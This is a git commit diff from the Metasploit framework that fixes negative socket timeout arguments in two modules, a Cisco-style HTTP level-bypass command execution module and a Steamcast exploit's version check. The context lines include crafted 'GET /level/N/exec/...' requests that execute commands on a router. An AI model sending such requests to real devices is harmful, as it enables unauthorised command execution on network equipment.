Fix negative timeouts
git-svn-id: file:///home/svn/framework3/trunk@9048 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
a3e92b2e75
commit
ee4528ed86
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
sploit = "GET /level/" + level.to_s + "/exec/show%20privilege HTTP/1.0\r\n\r\n"
|
||||
sock.put(sploit)
|
||||
|
||||
result = sock.get(-1,-3)
|
||||
result = sock.get(-1, 3)
|
||||
disconnect
|
||||
|
||||
if (result =~ /Current privilege level is/)
|
||||
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
sploit = "GET /level/" + level.to_s + "/exec/" + xCMD + " HTTP/1.0\r\n\r\n"
|
||||
sock.put(sploit)
|
||||
|
||||
result = sock.get(-1,-3)
|
||||
result = sock.get(-1, 3)
|
||||
print_status(result.to_s)
|
||||
|
||||
disconnect
|
||||
|
@ -136,3 +136,4 @@ Example Exploit:
|
|||
[snip]
|
||||
|
||||
=end
|
||||
|
||||
|
|
|
@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
res = sock.get(3, -1)
|
||||
res = sock.get(-1, 3)
|
||||
disconnect
|
||||
|
||||
if (res =~ /Steamcast\/0.9.75/)
|
||||
|
|
Loading…
Reference in New Issue